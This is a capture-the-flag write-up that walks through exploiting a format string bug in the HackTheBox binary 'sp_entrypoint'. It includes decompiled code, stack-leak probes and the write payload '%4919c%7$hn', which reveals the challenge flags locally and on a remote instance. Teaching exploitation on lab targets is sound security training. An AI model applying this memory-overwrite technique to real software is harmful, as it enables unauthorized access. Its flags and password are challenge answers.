Space pirate: Entrypoint
6 minutes to read
We are given a 64-bit binary called sp_entrypoint:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
We can run it to view two options:
$ ./sp_entrypoint
Authentication System
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░▒▓▓▓░░▓▓▓▓▓ ░ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓▒░▓▓▓▓▓ ░ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▒░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒░░░▓▓░░░▓▓▒░ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒░░░▒▓▓░░░▓▓▒ ░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░░░░░▓▓░░░▓▓▓ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▓▓▓▒░░░░▓▓▒ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░▒░░░▓▓░ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓░▒▓▓▓░░░░░▓▓░ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒░▓▓▓░░░░ ▓▓ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
1. Scan card 💳
2. Insert password
>
If we decompile the binary with Ghidra, we see the main function:
undefined8 main() {
long lVar1;
long in_FS_OFFSET;
long local_48;
long *local_40;
char local_38[40];
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
setup();
banner();
local_48 = 0xdeadbeef;
local_40 = &local_48;
printf(&DAT_001025e0);
lVar1 = read_num();
if (lVar1 != 1) {
if (lVar1 == 2) {
check_pass();
}
printf(&DAT_00102668, &DAT_0010259a);
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
printf("\n[!] Scanning card.. Something is wrong!\n\nInsert card\'s serial number: ");
read(0,local_38, 0x1f);
printf("\nYour card is: ");
printf(local_38);
if (local_48 == 0xdead1337) {
open_door();
} else {
printf(&DAT_001026a0, &DAT_0010259a);
}
if (local_10 == *(long *) (in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
The second option requires a password:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 2
[*] Insert password: asdf
[-] Invalid password! Intruder detected! 🚨 🚨
The function that handles authentication is check_pass:
void check_pass() {
int iVar1;
long in_FS_OFFSET;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
local_28 = 0;
local_20 = 0;
printf("[*] Insert password: ");
read(0, &local_28, 0xf);
iVar1 = strncmp("0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455", (char *) &local_28, 0x21);
if (iVar1 != 0) {
printf(&DAT_001025a8, &DAT_0010259a);
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
open_door();
if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
As it is shown, the program reads 0xf (15) bytes and compares it with 0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455. However, we are not able to enter more than 15 bytes, so there’s no way we can pass this check.
If we were able to pass it, then open_door would be called, and the flag would be shown:
void open_door() {
long lVar1;
long in_FS_OFFSET;
lVar1 = *(long *) (in_FS_OFFSET + 0x28);
printf("\n%s[+] Door opened, you can proceed with the passphrase: ", &DAT_00100eb8);
system("cat flag*");
if (lVar1 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Going again to main, we can see that we have another possibility if we choose the first option:
printf("\n[!] Scanning card.. Something is wrong!\n\nInsert card\'s serial number: ");
read(0,local_38, 0x1f);
printf("\nYour card is: ");
printf(local_38);
if (local_48 == 0xdead1337) {
open_door();
} else {
printf(&DAT_001026a0, &DAT_0010259a);
}
Here we have a Format String vulnerability, since printf uses as first argument the same information we provide as “card’s serial number”. A simple proof of concept:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %x
Your card is: eb7a7420
[-] Invalid password! Intruder detected! 🚨 🚨
The value eb7a7420 is a value taken from the stack, so we can potentially read and write values to the stack using the Format String vulnerability.
Here, if local_48 had a value of 0xdead1337, then open_door would be called. Unfortunately, local_48 is set to 0xdeadbeef, so it is different.
But we can use the Format String vulnerability to modify the value of that local variable. Let’s find the offset in the stack where local_48 is stored:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
Your card is: 7ffed66b4cf0.7f61975088c0.0.f.0.deadbeef.7ffed66b7390.2e786c252e786c25
[-] Invalid password! Intruder detected! 🚨 🚨
It appears to be at position 6. Let’s verify it using %6$lx:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %6$lx
Your card is: deadbeef
[-] Invalid password! Intruder detected! 🚨 🚨
Alright. Now we must use format %n (for example, %6$n) in order to write data into memory. The way %6$n works is that it stores the number of characters printed until %6$n into the address at the sixth position in the stack.
For this reason, we can’t use %6$n, because 0xdeadbeef is not a valid address. We must find the address that contains 0xdeafbeef. Let’s use GDB to find it:
$ gdb -q sp_entrypoint
Reading symbols from sp_entrypoint...
(No debugging symbols found in sp_entrypoint)
gef➤ run
Starting program: ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7af2031 in read () from ./glibc/libc.so.6
gef➤ grep 0xdeadbeef
[+] Searching '\xef\xbe\xad\xde' in memory
[+] In './sp_entrypoint'(0x555555400000-0x555555403000), permission=r-x
0x555555400d18 - 0x555555400d28 → "\xef\xbe\xad\xde[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe650 - 0x7fffffffe660 → "\xef\xbe\xad\xde[...]"
So local_48 is at 0x7fffffffe650. Now let’s enumerate the Format String vulnerability again:
gef➤ continue
Continuing.
1
[!] Scanning card.. Something is wrong!
Insert card's serial number%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
Your card is: 7fffffffbfb0.7ffff7dcf8c0.0.f.0.deadbeef.7fffffffe650.2e786c252e786c25
[-] Invalid password! Intruder detected! 🚨 🚨
[Inferior 1 (process 76812) exited normally]
Ok, we need to write into position 7, so we will be using %7$n.
Actually, we can use %7$hn to overwrite half word (2 bytes), because it is what we need in this situation. In order to print 0x1337 (4919) bytes, we can use another format string, that is %4919c. Let’s try:
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %4919c%7$hn
Your card is:
[+] Door opened, you can proceed with the passphrase: HTB{f4k3_fl4g_f0r_t3st1ng}
We have it. Let’s exploit the remote instance then:
$ nc 178.62.26.185 31995
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %4919c%7$hn
Your card is:
[+] Door opened, you can proceed with the passphrase: HTB{g4t3_0n3_d4rkn3e55_th3_w0rld_0f_p1r4t35}